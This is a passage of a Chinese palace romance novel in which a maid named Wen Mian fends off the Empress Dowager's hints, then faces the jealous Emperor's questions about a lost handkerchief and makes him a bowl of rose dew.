不是她小心过了头,要是叫人看到孤男寡女共处一室,难免心里嘀咕。
温棉迅速退回殿中明堂,垂首肃立,心几乎要跳出腔子。
“吱呀”一声,门被推开了。
殿外明亮的灯光涌了进来,映出一道端庄雍容的身影。
头戴点翠穿珠凤钿子,身着香色缠枝牡丹暗纹绵袍,外面一件石青缎绣松鹤绵褂,披着一件白狐皮斗篷。
好一位富贵老太太。
温棉立刻恭恭敬敬地跪下磕头。
“奴才给太后娘娘请安,愿太后娘娘福寿安康。”
一双元宝底慢悠悠从温棉头顶走过。
太后抱着手炉,扶着三丹姑的手,端坐榻上。
三丹姑一摆手,宫女们放下灯笼,鱼贯而出。
整个殿就只剩下三个人,还有躲在后头的苏赫。
温棉对着上座叩首,她隐约觉察气氛不对劲,没敢擅自抬头。
太后的双手各戴一双护甲,抚着手炉,时不时传来刮蹭声。
细细的,尖刺刺的。
温棉听在耳朵里,越发紧张。
“抬起头来。”
良久,她听到上首传来一个温和的声音。
温棉拿出宫女训练的基本功,慢慢抬头,低垂眼皮,不直视上位,以示尊敬。
太后对三丹姑道:“好齐整的模样,我看了也喜欢,好孩子,别跪了,三丹,去扶起她。”
太后身边的心腹嬷嬷,皇帝都要给三分薄面。
三丹姑来扶她,温棉不敢真叫扶实了,忙一手托着三丹姑的胳膊,道:“不敢劳烦姑姑。”
三丹姑回到太后身侧,指着温棉笑道:“真真齐全坏了,我瞧着,倒有几分咱们家四小姐的品格。”
温棉连忙又跪下:“奴才微末之躯,怎敢与公侯小姐相比。”
太后护甲轻敲手炉:“你个老货,吓着人了。”
她又转向温棉:“好孩子,别害怕,我一看到你就喜欢,日后你多来慈宁宫请安,我就欢喜看小姑娘热热闹闹的玩笑。”
温棉心里打了个突。
太后这意思,是要她常去慈宁宫?
可是为什么?
总不能是她有什么出众的才华,被太后慧眼识珠。
温棉磕了个头,话在心里打了三遍转才道:“娘娘抬举奴才,真真折了奴才的草料,奴才平日当差忙,难得空闲,若娘娘不弃,奴才便禀告万岁爷,日后常来慈宁宫请安。”
太后笑道:“我知你是个忠心能干的,你主子爷那里一时半刻都离不得,你们主子忙,这种小事何必拿到他跟前说。”
温棉的冷汗都要湿透衣服了。
太后这指东打西的本事,实在厉害。
温棉知道太后肯定话里有话,但她一句也没听懂。
她想着,难道日后她一边白天敬茶,一边晚上守夜,一边抽空来慈宁宫请安吗?
敬茶和守夜都是本职工作,请安算什么工作啊?
太后又不是她正经上司,没得白费时间。
温棉叩头,哭丧着脸:“万岁爷的规矩,御前的人行走都有定数,若奴才一言不发就走,奴才怕被万岁爷赏簟把子。到时候奴才受伤不要紧,跑到老佛爷跟前,没得叫老佛爷被奴才紫红青绿蓝屁股吓一跳。”
太后脸上的表情很精彩。
三丹姑用帕子掩了掩嘴角,道:“我听说你们主子爷昨晚特特叫你守夜,可见是看重你,怎会赏你簟把子,怕是赏银子都来不及呢。”
温棉心道果然如此,她忙又道:“姑姑明鉴啊,奴才是敬茶上的,昨日当差不仔细,万岁逛御花园时要茶吃,奴才却没带上壶,万岁爷恼怒,但虑着大过年的,不好见血。
先是叫奴才捧着端罩在雪里走,又是叫奴才饿着肚子跪着守夜,姑姑您打听打听,奴才今天一天都没的饭吃呢。”
她说着,果然肚子很对景儿的响了一声。
对着太后撒谎,温棉脸不红心不跳,她说的七分是实话,不怕别人打听。
太后两道眉毛高高竖起:“你敬茶的不带上茶壶?伺候主子如此不经心,可见你们主子爷太好性儿了。”
她还要说些什么,门外传来翠娥的声音:“娘娘,主子爷来给您请安了。”
太后原本叫温棉三绕两绕的,差点忘了叫她来是干什么,现下听到皇帝来了,心里又半信半疑起来。
她看了眼三丹姑。
三丹姑忙去打开了门,翠娥后面,赫然是乾清宫总管郭玉祥。
郭玉祥的小眼睛在屋里滴溜溜转了一圈,笑得蜜一样走进来。
“奴才给太后娘娘请安,今儿是大年初一天地人大宴,主子爷来给您侍膳了。”
太后扶着三丹姑缓缓起身,笑道:“都到这个点儿了?我跟这丫头投缘,一说话就忘了时辰,咱们走吧,别叫皇帝等久了。”
元宝底鞋子又在金砖上发出“哒哒”的声音,雍容华贵的身影走远了。
温棉长长松了一口气。
跟太后说话,比叫她拿大顶还累。
郭玉祥用拂尘在温棉眼前晃了晃:“快走吧姑娘,还叫主子等你不成?”
/
慈宁宫正殿,皇帝坐在黄袱椅搭的红木椅上,王问行悄悄来到他身后,耳语几句。
皇帝越听脸上的表情就越古怪。
他一甩檀木佛珠:“知道了。”
王问行又退到后面去了。
天地人三张大桌子已经铺陈开了,天一桌摆在最东头,地一桌摆在尽西头,人一桌摆在中间。*
承恩公家的内眷皆恭敬站着。
宫妃们听说皇帝早早到了慈宁宫,忙不迭地也赶来了。
太后扶着三丹姑的手而来,见了皇帝就道:“我还道你今日也要忙正事,不来了呢。”
皇帝接过三丹姑扶着的胳膊,道:“昨日扫了额涅的兴,今儿必不能再这样了。额涅快上座,也好叫儿子表表孝心。”
皇帝亲自搀扶太后在中间人一桌的主位落座。
慈宁宫殿前的万字头鞭炮适时燃放起来。
又有几个年轻太监用羊肠子拧成的鞭子,在西长街响亮地抽起来。
热闹的响声交织成一片。
皇帝站起来,立到太后东边。
他一动,满殿的人都不敢坐,俱站着。
皇帝执
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起银箸,从一道暖锅里夹了一筷子飞龙脯肉,放入太后面前的赤金盘龙碗中。
太后身边的御前太监张玉顺便拖长了调子唱道:“万岁爷侍膳,野意火锅,飞龙献瑞——”
恰在此时,苏赫悄没声儿地溜进殿来,利落地甩袖打千儿:“奴才给皇上请安,给太后老佛爷请安。”
太后笑问:“方才跑哪儿野去了?叫咱们好等。”
苏赫嬉皮笑脸道:“回姑爸,被萨哈和其其格那几个小魔星缠得没法子,只好躲到慈宁宫后头小花园图个清净。这不,一闻到御膳的香气,肚子里的馋虫就催着我赶来了。”
太后便道:“来了就入席吧,还杵着做什么。”
可皇帝尚且站着侍膳,满殿谁敢先坐?
王公内眷并赶来的宫妃们,都依旧屏息垂手立着。
皇帝又夹起一箸海红鱼翅,张玉顺的唱名声便再度响起。
苏赫瞧着这场面,嘴角微微一勾,心下觉得有些滑稽。
按祖制,大年初一这侍膳之礼,该由帝后同至,皇帝布菜,皇后唱名。
可如今中宫虚悬,竟只能由太监代劳,着实不够体面。
太后显然也觉如此,待皇帝按礼数侍完九道菜后,便道:“皇帝孝心,天地可鉴,这就足够了,快坐下吧。”
皇帝这才依言在太后右手边的主位落座,随即温声道:“诸位都入座吧。”
殿内紧绷的气氛略一松,众人方敢按序入席。
太后亲自动筷,将一道樱桃肉夹给皇帝,慈爱道:“国事繁忙,皇帝要保养身子。”
皇帝道“是”,慢慢吃了那樱桃肉。
太后又命人将一碟豆沙奶饽饽赏给苏赫。
苏赫笑道:“我就爱吃寿膳房的奶饽饽,尤其爱吃裹了豆沙馅的,多谢姑爸。”
太后道:“你这猴头,打小爱吃甜的,仔细吃倒了牙,这奶饽饽不许多吃,翠环,只许他吃一个。”
苏赫登时撒娇卖痴起来。
葛夫人瞪了他一眼,请罪道:“这孽障被奴才惯得没王法。”
太后笑道:“都是自家哥子嫂子,何必拘束了他。”
皇帝含笑看苏赫,目光随意扫过,却见他腰间躞蹀带上掖着一方素白的棉布手帕。
没有纹饰绣花,料子寻常,在一身锦绣中显得格外扎眼。
很是眼熟。
/
温棉跟着郭玉祥出了慈宁宫。
郭玉祥在甬路上停了下来:“行了,回去吧,我还要赶回去侍奉主子爷,就不送你了。”
温棉踟躇:“这成吗?不用告诉太后娘娘一声。”
郭玉祥“嗳哟”一声:“你是哪个名牌上的人物?你要走还要告诉太后娘娘?娘娘怕是早就忘了你是谁了。”
他左右看看,没好气地用拂尘柄轻轻点了点她肩头,压低声音。
“傻姑娘,你还真想杵在太后跟前招眼不成?还不赶紧回去,好多着呢。”
他在二所殿外面零星听到几句。
太后话里话外的意思,是要把温棉笼络过去,只温棉没听懂罢了。
要是温棉动了心思,站到太后那里,那主子爷……
郭玉祥心道自己真是人越老心越软,他难得好心提点一句:“别怪我啰嗦,你以后少去太后眼前晃悠为妙。”
温棉原本是怕太后怪罪,听郭玉祥这样说,她忙不迭谢过郭总管提点,脚下生风地赶回乾清宫。
那姑姑带着娟秀随驾在慈宁宫伺候,屋里只秋兰在守着。
见温棉回来,秋兰道:“铜茶炊上的是给你留的,快趁热吃吧。”
温棉揭开铜茶炊上的盖子,里头温着一碗米并一小锅酸菜白肉,还有一只油糕。
温棉饿了一整天,先舀了一碗汤,“咕嘟咕嘟”灌了下去。
酸菜锅子煮了一天,这会子各种味道都煮了进去,有些咸,味道不赖。
缓过那阵心慌,她才就着锅子,将酸菜和白肉都捞到米饭上。
褐色菜汤浸透了米饭,温棉把筷子使成铲子,把菜肉饭汤一起刨进嘴里,吃得两腮鼓鼓。
平日她定嫌白肉肥腻,这会儿却觉得油脂真香。
软糯的肥肉配着酸菜,一点儿也不油。
她尽力吃了个饱足,锅子里连一滴汤也不剩了,温棉这才觉得活过来了。
她放下筷子要擦嘴,习惯性地往领口一摸,却摸了个空。
她的手帕不见了。
定是丢在慈宁宫二所殿,或是后来慌乱中遗落了。
好在那帕子是宫里统一发放的素棉布,没有任何标记花样,即便被人拾去,也闹不出什么事来。
温棉又从箱笼里取出一块手帕擦了嘴。
心道她这手帕是越来越抛费了,得再做几条。
15. 牛奶饽饽
夜半,星子一颗也无,不知从何时开始,雪花撒盐似的慢慢落下。
一粒一粒的小圆珠子,不像雪,倒像是冰霰。
昭炎帝的銮驾悄无声息地在甬路上行走。
霰珠子将金龙顶砸的“噼里啪啦”响。
八个小团葵花红衣太监就好像没淋到雪珠子似的,步伐稳健,坐在龙辇里一点颠簸也感受不到。
昭炎帝单手轻捏着太阳穴,闭目凝神。
脑子里就跟会自动转似的,将方才夜宴上太后的言行举止一点一点回想一遍。
太后看似是闲谈,实则在暗示他中宫不宜久虚。
这话语与前朝那些催促选秀,议立继后的奏章嗡嗡和鸣,搅得他心神不宁。
一时间边关异动,前朝余孽,吏治积弊犹存……
种种政务,纷至沓来。
御驾在乾清门前停稳,宫人们就和表里面的机括一样,悄然运转起来,动作迅捷无声。
皇帝下辇,踏着清冷的御道步入殿内。
雪珠子在御道上落了一层,厚底毡雪踩上去“咯吱”作响。
郭玉祥胳膊伸得老长,把油绸伞举到昭炎帝头顶。
他不敢走在皇帝才能走的中道,只能跟在皇帝侧后方,这样一来,举伞这活计就格外辛苦。
他心中暗骂王来喜这个鬼东西比猴还精,一遇到这种辛苦活,他跑得比兔子还远。
正在痛骂小徒弟,郭玉祥没注意前头皇帝的脚步在踏上月台后,略顿了一下。
他没防备差点撞上去,好在身手灵活,没犯大不敬的罪过。
一颗老心在腔子里直蹦哒,郭玉祥悄悄觑着皇帝脸色,只见主子爷他的目光似有若无地扫过廊下侍立的人影。
这是瞧什么呢?
这儿也没个牛黄狗宝呐。
停顿只一瞬,昭炎帝便进入殿内了。
由四执库的太监伺候脱下大毛衣裳,换了一身简便的常服。
郭玉祥趋步上前,轻声道:“主子爷,已交亥时了,您劳累一日,这便安歇?”
“不急。”皇帝脚步未停,径直走向东暖阁的紫檀大书案,“取文房四宝来。”
郭玉祥心头一跳,忙应了声“嗻”,使眼色命小太监速去准备。
须臾,御用之物便已齐备。
侍墨太监屏息凝神,用少许清水,将一锭书卷形松烟犀角御墨研磨得浓淡适中,墨香暗浮。
皇帝蘸笔,于一纸素宣上写下“清心”二字,便蹙眉掷笔。
“蠢才!你这研得什么墨?”
侍墨太监吓得魂飞魄散,当即扑通跪倒,连称“奴才该死”。
“罢了罢了,滚下去。”
侍墨太监捡了一条命,连忙爬起身来后退着走了。
皇帝挽起袖口,亲自取了水注,往砚中滴了数滴,执起墨锭,不疾不徐地研磨起来。
郭玉祥见状,悄无声息地退至外间。
那侍墨太监正哭丧着脸候在那儿,见了他几乎要哭出来:“谙达,那墨按例水六分,墨四分,奴才半点不敢错啊。”
“快住嘴。”
郭玉祥低斥,拂尘一甩,打在侍墨太监的胳膊上。
“主子爷说你磨得不好,那就是不好,横竖又没降你的罪,在这里鸡猫子鬼叫什么?也不看看这是什么地方?”
侍墨太监不敢多言,委屈巴巴地走了。
郭玉祥招手唤王来喜,附耳低声叮嘱了几句。
王来喜连连点头,随即转身,快步从月华门方向溜了出去。
北风卷地,霰珠像珍珠一样,被吹得咕噜噜滚。
郭玉祥站在月台上吹着冷风,也不敢进去。
主子爷这会子正燥呢,他可不疯了,进去找不自在?
不如在这站一会,看看他搬的这个救兵管用不管用。
/
温棉关上窗户,划下机括。
北风扑向窗户,提啷哐啷响。
秋兰端着一盏油灯,朝外看了几眼:“都这个时辰了,又这样大的雪,那姑姑和娟秀许是要在庑房对付一宿了。”
温棉搂紧棉被,两只脚丫子在被窝里蜷缩着。
因为白日积雪化了,湿了鞋袜,又没来得及换,这样一来,她的脚便有些痒,好像要得冻疮。
温棉道:“那咱们这就睡吧,明日咱们两个当早差,换下她们来。”
秋兰才要关门,忽听得外面敲门。
“温姑姑,温姑姑,你在吗?我师父叫我来寻您。”
秋兰竖着耳朵细听了一会,方才转头向温棉道:“我听声音,像是来找你的。”
“找我的?”
温棉叹了口气,下床穿鞋,披了件厚棉袄就跑出去开门。
打开门一看,王来喜这小子都快冻成个冰雪人了。
“王谙达?您这是……”
王来喜冻得“嘶哈嘶哈”的,两脚跺地,见到温棉,道:“温姑姑您也忒难请了,我师父叫我来找您,您快去乾清宫吧。”
温棉更奇怪了:“找我做什么?”
王来喜道:“这我就不知道了,您快着些儿吧。”
温棉没奈何,只得梳了头,穿上衣服,跟王来喜走进雪夜。
/
“郭玉祥。”
殿里轻轻一声,郭玉祥就像被点了尾巴的狗,嗖的一下蹿进去了。
“奴才在,主子爷有什么吩咐。”
他把腰躬得低低的,声音甜蜜道。
昭炎帝被这声音恶心得不轻,没好气道:“你怎么也学了王问行的声气儿?去把纸篓里的收走。”
儒家有敬惜字纸的传统,再加上这是御笔亲书,即便是写坏了的纸也需归置一匣,按月呈览后,由首领太监监视焚化。
郭玉祥将这些字纸收到专用的箱匣里,回到昭炎帝身边,小心翼翼问道:“主子爷写了这半晌字,想必耗了精神,可要用些夜点?”
皇帝写了几篇狂草,出了一身薄汗,仿佛将胸中块垒也倾泻了些许,此刻倒真觉出几分空腹虚乏来。
他未回头,只淡淡“嗯”了一声。
郭玉祥如蒙大赦,忙吩咐下去。
不多
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时,两个小太监便提了食盒进来,轻手轻脚地摆上几碟热气腾腾的点心。
咸口的有杏仁茶、炸三角、野味小饺子。
甜口的有萨其马、芙蓉糕,和一碟牛乳饽饽。
那饽饽做得小巧玲珑,雪白滚圆,上面盖着一个红戳,隐隐透出内馅不同的颜色。
裹了山楂馅的嫣红,豆沙馅的深褐,枣泥馅的暗紫,看起来可爱极了。
郭玉祥一见这碟点心,心里却是“咯噔”一下。
夜宴上,太后对着自家侄子那份亲昵疼宠,简直比对亲儿子还甚。
赏给苏赫小公爷的,可不就是这奶饽饽么?
小公爷爱吃什么喝什么,太后记得一清二楚,轮到主子爷,虽说也是一样关心,可到底失了份亲近。
虽说点心吃来吃去就那几样,可偏生在这个节骨眼。
主子爷刚和太后不轻不硬地打了个机锋,膳房就这般没眼色,偏送来这个。
他偷眼去瞧皇帝。
皇帝的目光从纸上挪到那碟饽饽上,脸上没什么表情。
郭玉祥的背上悄悄沁出了一层冷汗。
王来喜带着温棉终于到乾清宫了。
温棉疾行得有些喘:“王谙达,你师父在哪儿呢?”
王来喜没说话,正好撞上端着茶盘要进去的娟秀。
他上前一步,不等娟秀反应,竟直接伸手将她手里的红漆海棠式茶盘夺了过来,转手就塞到跟在身后的温棉怀里。
“快,温姑姑,你进去上茶。”
娟秀猝不及防,被他夺了差事,登时柳眉倒竖,却又不敢高声,只能压低声音,手指几乎要点到王来喜鼻尖上。
“王来喜!你这是什么意思?”
温棉也被他这突如其来的举动弄得一头雾水,捧着那沉甸甸的茶盘,愣道:“王谙达,你这是……”
王来喜自己也不明白,他都是照着师父指示行事的,但他又不愿意明说,这样显得他自个儿是个笨嘚儿。
只连连催促:“好姐姐们,别管那么多了,仔细主子爷的茶冷了。温姑姑,你快进去吧,谁上事不是上事啊?”
温棉被他推得往前踉跄半步,手中的茶碗盖轻轻磕碰了一下。
她心头一紧,若真因耽搁让御茶失了温度,那可是大过。
她没时间再细想,只得深吸一口气,稳了稳手中的茶盘,朝娟秀递去一个无奈又歉意的眼神,转身掀开门帘,低头走了进去。
娟秀站在原地,望着那晃动的门帘,又瞪向一脸如释重负的王来喜。
气得胸口起伏,却终究没敢再闹出声来,一甩帕子,拧身走了。
自温棉踏入东暖阁,昭炎帝的视线就立刻放到了她身上。
郭玉祥觑了眼主子爷,又看了眼温棉。
温棉垂着脑袋,放下茶碗,突然悄没声地看向郭玉祥。
郭玉祥丈二和尚摸不着头脑。
这丫头看他做甚?
「不是说郭玉祥找我?王来喜又直接让我进来,不会是……郭玉祥想找我对食,求到皇帝面前了吧!」
16. 杏仁油茶
“郭玉祥。”
昭炎帝压下心头那点莫名窜起的火气,语气恢复平淡。
“去把前几日两淮总督和闽浙总督呈上来的密折找出来,朕现在要看。”
“嗻。”
郭玉祥如蒙大赦,赶紧爬起来,躬身退下。
临出去前,他极有眼色地朝门外那几个还跪着的小太监使了个眼色,示意他们一并退得远些。
门被轻轻掩上。
殿内霎时安静下来。
紫檀木大案桌上一盏精巧的玻璃宫灯,雕龙圈椅后立着两个鎏金烛台,数支蜡烛荧荧亮着,将暖阁映照的明如白昼。
温棉垂手站在原处,眼观鼻,鼻观心,心里却打起鼓来。
人都走光了,只留她一个在这儿,这架势,似乎有些不同寻常。
“温棉。”
半晌,皇帝的声音在寂静中响起。
温棉立刻肃道:“奴才在。”
皇帝的目光落在她低垂的发顶,停顿片刻。
“今日太后叫你过去,说了什么?”
温棉心跳如擂鼓。
即便她此前没能明白太后话中有何深意,现在听皇帝这么一问,也该知道那话里有话。
她迅速把太后的言行举止在脑子里过了一遍,还是不得其法,只是越发觉得瘆得慌。
这位老太太可真是会说话。
说的都是人听不明白的话。
宫里人就这点不好,说话都不好好说,硬要别人猜。
没奈何,上头皇帝还虎视眈眈地等着,温棉闭了闭眼,决定一五一十,一个字儿不错地复述。
昭炎帝靠在檀木椅背,突然开始摆弄手里的佛珠。
檀木珠子被他磨得簌簌响。
他耐心听完温棉的话。
听着听着,开始想东想西起来。
这姑娘声口真好,说话有条理,声音清亮,听她说话就像听春季化冻了的河水声。
她着实没有说一个字儿的谎,是个实诚的姑娘,王问行禀报他的话也是如此。
温棉说完,静等皇帝示下,却不料皇帝开口就放出个惊雷。
“听她老人家话里的意思,是想笼络住你,让你做她的耳报神。”
温棉到吸一口冷气。
天菩萨啊!
太后话里的深意竟是这意思?
要真是这样可坑死她了!
哪个皇帝能容底下人背叛他向着别人?
温棉连忙表白忠心。
“万岁明鉴呐,奴才一颗真心向着您,绝不敢干背主的事。太后问奴才这些话,奴才当时压根儿没听懂,您这会子指点迷津,奴才才明白。
且不说奴才脑子笨,没听懂,就说奴才人微言轻,哪里能担当这样的重任?”
主观没听懂,客观没条件。
她怎么做太后那边的耳报神?
温棉自忖这番解释十分说得通。
“咳。”
皇帝突然清咳一声,檀木珠子摩擦声愈发杂乱。
他斥道:“你这丫头浑说什么?什么真心?朕要你真心何用?再者,太后关心朕躬,问你们也是有的,你倒东拉西扯,扯出这么长一片闲篇来。”
温棉这会子听明白了。
皇帝这是嫌她把他们娘俩之间粉饰的白墙刮花了。
她忙堆出个笑:“是是是,奴才胡说八道,奴才不会说话,笨嘴拙舌,惹万岁生气了……”
一边请罪,温棉的心慢慢放了回去。
皇上这声气儿不像发怒,应该没事儿了吧。
“只一桩你说的不对。”皇帝道,“你是御前女官,想打听朕的行踪容易,若太后抬举你,你岂有不说的道理?”
温棉慢慢放回的心随着皇帝的话又慢慢提起来。
什么叫太后抬举?
昭炎帝看着她迷茫的眼神,嘴角微微勾起。
他将话说得更明白了些:“若太后许诺你嫔御之位,难道你也心如磐石坚不可摧么?”
若是聪明些,就该知道,太后许诺的,他也能,甚至会比太后许诺的更好。
她应当晓得谁才是她真正的主子。
温棉的心瞬间提到嗓子眼。
她脸色煞白,立刻叩头:“奴才绝不敢抱着这样的心思,若我起这个念头,就叫我不得好死,死了也被烧成灰。”
檀木佛珠的摩擦声安静了一瞬。
沉默渐渐蔓延开。
东暖阁静得出奇,温棉甚至能听到烛花爆开的声音。
地笼烧着,她却感到丝丝寒意慢慢爬上自己的后背。
昭炎帝细细打量下手之人的神情。
目光一点一点在她脸上逡巡。
她说的竟然是真的。
她竟真的一点儿这个意思都没有。
甚至不惜起这样恶毒的誓。
他勾起的嘴角僵住,突然觉得自己很可笑,鼻子上好像被白粉画了一方豆腐块。*
“你不想入朕的后宫?”
良久,温棉听到上首之人的声音。
她从未像此刻这样真诚过:“奴才只想着当好差,满二十五就出宫,绝不会干出让万岁苦恼的事儿,更不敢违反宫规,请万岁放心。”
“那你想入谁的后院?小公爷吗?”
殿内复又响起佛珠的簌簌声。
皇帝拉了一下雕龙圈椅上的迎枕,大掌按在五爪金龙戏珠纹上,拉扯布料,使得龙眼目眦尽裂。
温棉又听不懂了。
怎么好好说着话儿,突然话题就拐到她的婚嫁之事上了?又从哪里冒出个小公爷来?
她不知怎么回答,只沉默了一瞬,然而落在皇帝眼里,这沉默就变了味道。
一从火苗拔地而起,刹那就烧得冲天。
“啪!”
昭炎帝突然一拍桌子,佛珠重重磕在大桌案上,几乎要磕裂。
“朕看你是昏了头,在朕的宫里和人私相授受!你以为苏赫是什么良配?他就是个多情种,仗着年轻嘴甜,不知骗了多少女人芳心错付。
他将人哄骗到手,不过热几天也就丢开了,照旧偎红倚翠,他后院里的女人多得都能堆山填海了。
你觉得你有什么殊异之处,能勾得人念念不忘?你就是一个普通宫女罢了!”
皇帝突然发邪火,连殿外的郭玉祥等宫人都听见了。
郭玉祥又是怕又是纳罕。
主子爷是个养气的人,少有这般动怒的时候,那位姑奶奶好厉害手段,能叫主子爷气成这样。
王来喜等小太监被皇帝的声气儿吓得不轻,悄悄贴近师父。
“师父,您说,咱们要不要先备下板子?”
从来没听过万岁对宫人这么发火的。
上一个有异心的被查出来,主子爷也只是淡淡道“杖毙”,何曾这样子过。
郭玉祥觑了眼明窗,看不清里面情形,他也拿不定主意。
一来主子爷如此大动肝火,温棉这丫头定需严惩不饶。
但话又说回来。
他们主子爷冷心冷情,亲爹老婆孩子死的时候都没失态,素日养气功夫到家,当了皇帝后,就更少露出真实情绪了。
能惹得主子爷如此大动肝火,可见温姑姑手段高超。
甭管是怒是气,好歹调动起主子爷的情绪了不是。
既能叫主子爷怒,就不能叫主子爷乐吗?
郭玉祥轻轻踢了一脚王来喜:“你这狗崽子,唯恐天下不乱是怎的?滚回去站着去。”
娟秀斜倚在庑房的门上,侧耳细听乾清宫动静,双手绞着帕子,嘴角越翘越高,暗自称意。
阿弥陀佛,还道温棉此番进去当差要抢个巧宗儿呢,没成想跌了个大跟头,这下好了,体面脸面都没了。
她得意地笑出声。
“把门关了,你生怕屋子里太暖和了是吧。”
那姑姑淡声道。
娟秀扭着身子,不情不愿地关了门,转身又捧出个笑:“我嫌闷的慌,这才开门透气,姑姑觉得冷,我就不开门了。”
那姑姑瞥了她一眼,又垂下眼皮。
这位姑奶奶背后有人,也是位神通。
横竖自己
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马上就要放出宫了,只要她们不在自己手下闹出事来就成。
其余的,她懒得管。
/
东暖阁里。
温棉又急又慌。
宫女秽乱后宫可不是小罪,轻则发配慎刑司,重则直接杖毙。
她急道:“万岁爷明鉴呐,奴才压根儿不认识您说的小公爷是谁?奴才没见过。”
皇帝冷哼:“那朕怎么看到苏赫身上也有一条白手帕,无纹无绣,那不是你的东西是什么?”
温棉定了定神,道:“万岁,宫里给宫女分发的手帕都是这样的,难保是其他人的呢。
再说,奴才今日去了慈宁宫,的确丢了一条手帕,可奴才都没出过二所殿,那地界就没旁人,更别说男人了。
若说被人拾到,也只能是被撒扫宫女拾到。
奴才对天发誓,绝对没有和人私相授受,否则就叫奴才永世不能超生。”
“住嘴。”
皇帝打断她,听不得她满嘴死呀活呀的。
方才火气上头,羞恼之时,也顾不得修饰修饰话语,一通抢白,失了为君的气度。
冷静下来,昭炎帝暗自生悔,指尖轻轻敲击着桌面。
火气撒完,但心里还有股气似憋着撒不出来。
温棉跪在银红八宝绒毯上,腿都僵了,还没听到皇帝叫退。
她大着胆子,悄悄往上看了一眼。
只见皇帝满脸不虞。
温棉惴惴。
这又是怎么了?
皇帝今天在哪儿受了气?撒火撒到她身上,真是倒霉。
总不能跪在这里跪到死吧?
她又往上觑了一眼,这一回看得仔细些,但见那位手背上粘着一滴棕褐色的东西。
温棉大着胆子开口,声音放软:“万岁爷,奴才给你擦擦手吧。”
昭炎帝低头一看,这才看见一滴杏仁茶溅到了他的手背上。
想是方才他拍桌子用大劲儿了,盛杏仁茶的碗晃荡起来,这才溅出来了。
这杏仁茶是用炒熟的面粉、杏仁、芝麻,掺上盐,再冲泡热水制成的,滋味十足。
静置一会子没吃,表面结了一层厚厚的油皮儿。
他那一掌震开了凊住*的表皮,火热的油茶就露了出来。
看着浅褐色的油茶表面,油皮儿被震的四分五裂,热汤泼了出来,粘着碗边。
昭炎帝忽略了这触手可及的物件儿,他以为早就冷了的东西,竟然还是热的。
温棉不懂皇帝在深沉什么,她识趣地递上手帕供皇帝擦手,自己顺势站起身来。
眼珠转了转,软声道:“万岁,惹您不高兴,奴才真是万死难辞其咎,还请万岁给奴才一个赎罪的机会。”
昭炎帝将那方白帕子随手搁置在案桌上,不咸不淡道:“姑姑又要做什么。”
温棉一顿。
这话说的,怎么阴阳怪气的。
温棉道:“奴才想着给您做一碗清露,吃了好睡觉,您看您,嘴角都起皮了,年节本是休息的时候,您却劳于政务不得安歇,奴才们看着都心疼。”
皇帝乜眼看她。
这丫头甜言蜜语简直信手拈来,真是可恶。
“行,你去做吧,若做的不好,朕重重罚你,若做的好……”他有意卖了个关子,“今年去热河就允你随扈。”
温棉猛地抬起头。
随扈?
她能出宫了?
皇帝欣赏着温棉变幻万千的神情。
一想到有机会出去走走,温棉脸上的笑愈发真诚了。
“您瞧好儿吧,奴才这就去给您做清露去。”
温棉轻轻退出乾清宫,小心地合上大红猩猩毡。
一转身,便看到月台上数道目光齐刷刷地落在自己身上。
王来喜第一个凑上来,啧啧道:“我的姐姐,您能从主子爷凛凛天威底下全须全尾儿地走出来,可真是不易呐。”
温棉扯了扯嘴角,苦笑道:“谁说不是呢?”
她此刻也没心思跟人耍嘴皮子,转身向东庑房去了。
17. 玫瑰清露
乾清宫东侧的庑房打头的就是是御茶房。
御茶房是三间打通的屋子,专为御前茶饮伺候而设,一进去,便是一室茶香。
室内光线不算明亮,靠东墙一溜排开的,是通顶大立柜和博古架,皆以深色硬木制成,沉稳厚重。
和图书馆似的,只里面放的不是书。
柜架侧面都贴着黄签,以“甲、乙、丙、丁……”为序,分门别类收贮着各地进贡的名茶和各色茶具器皿。
这些大架子占了两间半的地方,架子侧边是水缸,水缸与架子之间留下供人行走的路。
“甲”字号架子前摆着两溜白泥小茶炉,炉上坐着铜铫。
有些铜铫冷着,有些温着,有些则咕嘟咕嘟地滚着水。
温棉径直走向标着“丁”字的架子。
这一格专放各种花露、清露和香露。
她踮起脚,从上层取下一个巴掌大小的玻璃磨花旋纹的细颈瓶。
瓶身晶莹,透过玻璃能看到里面澄澈赤红的液体。
瓶口塞着软木,瓶身贴着黄纸签,墨笔小楷写着“平阴头水玫瑰清露”。
她小心翼翼地拔开塞子,将清露缓缓倾入一只素白玉盖碗中,约莫倒了一个碗底,就将瓶子放回原处。
转身走到一个白泥茶炉旁,用竹夹从旁边温着的铜壶里,量出恰到好处的滚水,沿着盖碗边缘缓缓注入。
热水与花露交融,一股清冽馥郁的玫瑰香气立刻弥散开来。
她又从“戊”字架下层一个小竹篮里取出一个瓷罐里,拈出两片烘干保存的重瓣红玫瑰花放入碗中。
那干枯的花瓣在温热的水中仿佛重新获得生机,缓缓舒展开来,颜色也变得鲜润。
做完这一切,温棉将茶炉边的水渍抹净,正要将用过的物件归位,忽听得放着各色泡茶用具的大柜子后面传来窸窣声。
那后面用几条矮凳拼搭着一张简陋的床铺,是上事儿的人歇脚的地方。
那姑姑和娟秀正挤在上面眯着眼打盹。
那姑姑警醒,听见动静便睁了眼,瞧见温棉手中的盖碗和空气中隐约的玫瑰香,便知道她用了玫瑰。
她道:“那玫瑰露可是精贵玩意儿,虽说万岁爷平素不常用,一直收着,保不齐什么时候就要赏人,那是玻璃瓶,不耐摔打,你手脚轻着点,仔细别碎了。”
温棉忙应道:“是,我晓事的,定当小心。”
她将空了的量水铜壶放回茶炉旁,重新注入水,这才端起那碗精心冲泡的玫瑰清露,轻手轻脚地退了出去。
郭玉祥正在月台上打发人进去伺候主子爷洗漱,便见温棉端着一个剔红漆海棠托盘回来了,上面稳稳放着一只素白玉盖碗。
郭玉祥往托盘里一瞥,看清碗中物事,顿时呲牙咧嘴,又不敢高声,急得直跺脚。
“我的姑奶奶,您就拿这个糊弄皇上?”
那碗里盛着的,正是玫瑰清露。
色泽澄澈,泛着淡淡的红,几片完整的玫瑰花瓣在晶莹的甜水中微微舒展,香气清幽。
东西是顶好的东西,乃是平阴岁贡的头水玫瑰蒸馏出的清露,最是安神润燥。
可坏就坏在,温棉当真只是将那珍贵的清露从瓷瓶里倒出来,用温水兑开,再撒上两片花瓣。
旁的什么都没做,没费一丝烹调的功夫。
郭玉祥心道这丫头真真不知死活。
主子爷方才明显心里窝着火,找由头发作人呢,她竟敢如此敷衍。
她要是费心,泡个三次出色的枫露茶,或是煮个枸杞参茶,这些费功夫的东西,指不定万岁见她孝心虔诚,就此放过,是不是。
结果她就泡个玫瑰甜水。
